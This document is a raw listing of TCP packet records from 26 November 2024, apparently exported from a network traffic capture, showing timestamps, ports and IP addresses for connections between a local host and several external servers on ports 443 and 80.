Nov 26, 2024 06:39:45.547938108 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.548043013 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.548055887 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.548115969 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.548171997 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.554960012 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.562081099 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.562150955 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.562210083 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.606712103 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.661863089 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.664292097 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.664351940 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.664376974 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.668791056 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.668844938 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.668858051 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.677753925 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.677829027 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.677849054 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.677897930 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.686455965 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.686466932 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.686537981 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.686566114 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.686665058 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.695501089 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.695508957 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.695581913 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.704155922 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.704237938 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.707777023 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.707853079 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.716208935 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.716279030 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.724458933 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.724539995 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.728857994 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.728924990 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.737261057 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.737332106 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.745579958 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.745657921 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.749984026 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.750065088 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.758277893 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.758339882 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.758351088 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.758388996 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.758441925 CET	49732	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:45.758459091 CET	443	49732	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:45.773840904 CET	49735	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:45.773895025 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:45.773968935 CET	49735	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:45.774157047 CET	49735	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:45.774177074 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:45.806859970 CET	443	49717	23.47.168.24	192.168.2.16
Nov 26, 2024 06:39:45.806930065 CET	443	49717	23.47.168.24	192.168.2.16
Nov 26, 2024 06:39:45.806991100 CET	49717	443	192.168.2.16	23.47.168.24
Nov 26, 2024 06:39:46.789540052 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:46.789915085 CET	49734	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:46.789947033 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:46.790275097 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:46.790610075 CET	49734	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:46.790672064 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:46.790765047 CET	49734	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:46.835330963 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:47.196100950 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:47.196531057 CET	49735	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:47.196561098 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:47.196909904 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:47.197288036 CET	49735	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:47.197345972 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:47.197515011 CET	49735	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:47.239341021 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:47.241048098 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:47.241127014 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:47.241183043 CET	49734	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:47.241856098 CET	49734	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:39:47.241875887 CET	443	49734	104.18.94.41	192.168.2.16
Nov 26, 2024 06:39:47.764686108 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:47.764880896 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:47.765058994 CET	49735	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:47.765273094 CET	49735	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:39:47.765291929 CET	443	49735	65.21.29.43	192.168.2.16
Nov 26, 2024 06:39:51.647742033 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:51.647804022 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:51.647854090 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:51.738199949 CET	49729	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:39:51.738264084 CET	443	49729	142.250.181.100	192.168.2.16
Nov 26, 2024 06:39:59.080579042 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:39:59.080689907 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:39:59.080799103 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:39:59.081254005 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:39:59.081293106 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:00.693646908 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:00.693886042 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:00.697819948 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:00.697854996 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:00.698116064 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:00.703785896 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:00.751328945 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.348577976 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.348653078 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.348668098 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.348807096 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:01.348877907 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.348953962 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:01.388180017 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.388237000 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.388307095 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.388406038 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:01.388406038 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:01.388406038 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:01.388504982 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:01.388504982 CET	49736	443	192.168.2.16	20.12.23.50
Nov 26, 2024 06:40:01.388549089 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:01.388577938 CET	443	49736	20.12.23.50	192.168.2.16
Nov 26, 2024 06:40:03.531625986 CET	80	49700	217.20.56.101	192.168.2.16
Nov 26, 2024 06:40:03.531905890 CET	49700	80	192.168.2.16	217.20.56.101
Nov 26, 2024 06:40:03.531934977 CET	49700	80	192.168.2.16	217.20.56.101
Nov 26, 2024 06:40:03.651895046 CET	80	49700	217.20.56.101	192.168.2.16
Nov 26, 2024 06:40:05.187078953 CET	80	49702	217.20.56.101	192.168.2.16
Nov 26, 2024 06:40:05.187254906 CET	49702	80	192.168.2.16	217.20.56.101
Nov 26, 2024 06:40:05.187256098 CET	49702	80	192.168.2.16	217.20.56.101
Nov 26, 2024 06:40:05.307257891 CET	80	49702	217.20.56.101	192.168.2.16
Nov 26, 2024 06:40:22.506959915 CET	49737	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:22.506999016 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:22.507093906 CET	49737	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:22.507394075 CET	49737	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:22.507405996 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:24.199875116 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:24.200166941 CET	49737	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:24.200187922 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:24.200527906 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:24.200831890 CET	49737	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:24.200891018 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:24.241759062 CET	49737	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:24.777503967 CET	49738	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:24.777566910 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:24.777662992 CET	49738	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:24.778096914 CET	49739	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:24.778146029 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:24.778245926 CET	49739	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:24.778357029 CET	49738	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:24.778374910 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:24.778501034 CET	49739	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:24.778523922 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.247791052 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.248064041 CET	49739	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:26.248090982 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.248449087 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.248826027 CET	49739	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:26.248884916 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.248995066 CET	49739	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:26.292668104 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.292984962 CET	49738	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:26.293011904 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.293375969 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.293772936 CET	49738	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:26.293904066 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.295340061 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.343796015 CET	49738	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:26.833780050 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.833851099 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.834011078 CET	49739	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:26.834867954 CET	49739	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:26.834893942 CET	443	49739	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:26.853770018 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:26.853806019 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:26.853894949 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:26.854103088 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:26.854115963 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.114068985 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.114339113 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.114357948 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.114686012 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.115099907 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.115168095 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.115259886 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.155328989 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.568448067 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.568516970 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.568542004 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.568564892 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.568566084 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.568592072 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.568609953 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.579571962 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.579677105 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.579689980 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.579706907 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.579750061 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.587965012 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.637868881 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.637878895 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.685769081 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.688446045 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.733866930 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.733875036 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.773175001 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.773241997 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.773262024 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.782322884 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.782371044 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.782377005 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.790034056 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.790103912 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.790111065 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.797339916 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.797378063 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.797391891 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.797398090 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.797435045 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.797462940 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.797516108 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.797523022 CET	443	49740	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.797549963 CET	49740	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.799457073 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.799494982 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:28.799566984 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.799792051 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:28.799806118 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.008862019 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.009155989 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.009176016 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.009485960 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.009789944 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.009840012 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.009943008 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.051322937 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.450407028 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.450458050 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.450488091 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.450500965 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.450520992 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.450555086 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.450563908 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.450571060 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.450609922 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.450615883 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.458461046 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.458518028 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.458527088 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.466948986 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.467000008 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.467006922 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.519777060 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.519840956 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.566796064 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.642162085 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.646055937 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.646208048 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.646229029 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.654217005 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.654331923 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.654339075 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.662142992 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.662200928 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.662209034 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.670100927 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.670159101 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.670166969 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.686079025 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.686144114 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.686151028 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.694032907 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.694092989 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.694112062 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.694123030 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.694160938 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.702122927 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.710052967 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.710103989 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.710114956 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.718023062 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.718075037 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.718084097 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.770836115 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.770884037 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.818785906 CET	49717	443	192.168.2.16	23.47.168.24
Nov 26, 2024 06:40:30.818802118 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.818813086 CET	443	49717	23.47.168.24	192.168.2.16
Nov 26, 2024 06:40:30.834150076 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.838013887 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.838076115 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.838087082 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.849075079 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.849133968 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.849157095 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.857081890 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.857168913 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.857177973 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.865093946 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.865158081 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.865184069 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.881172895 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.881181002 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.881258011 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.881280899 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.896986008 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.897087097 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.897104025 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.897164106 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.897177935 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.910949945 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.911022902 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.911037922 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.911101103 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.922529936 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.922538996 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.922616959 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.934187889 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.934195042 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.934267998 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.940212965 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.940220118 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.940299988 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.952220917 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.952228069 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.952310085 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:30.963717937 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.963726044 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:30.963792086 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.026195049 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.026293993 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.028640032 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.028713942 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.039098978 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.039165020 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.049585104 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.049654961 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.059855938 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.059914112 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.064871073 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.064938068 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.074232101 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.074302912 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.078653097 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.078710079 CET	49741	443	192.168.2.16	104.18.94.41
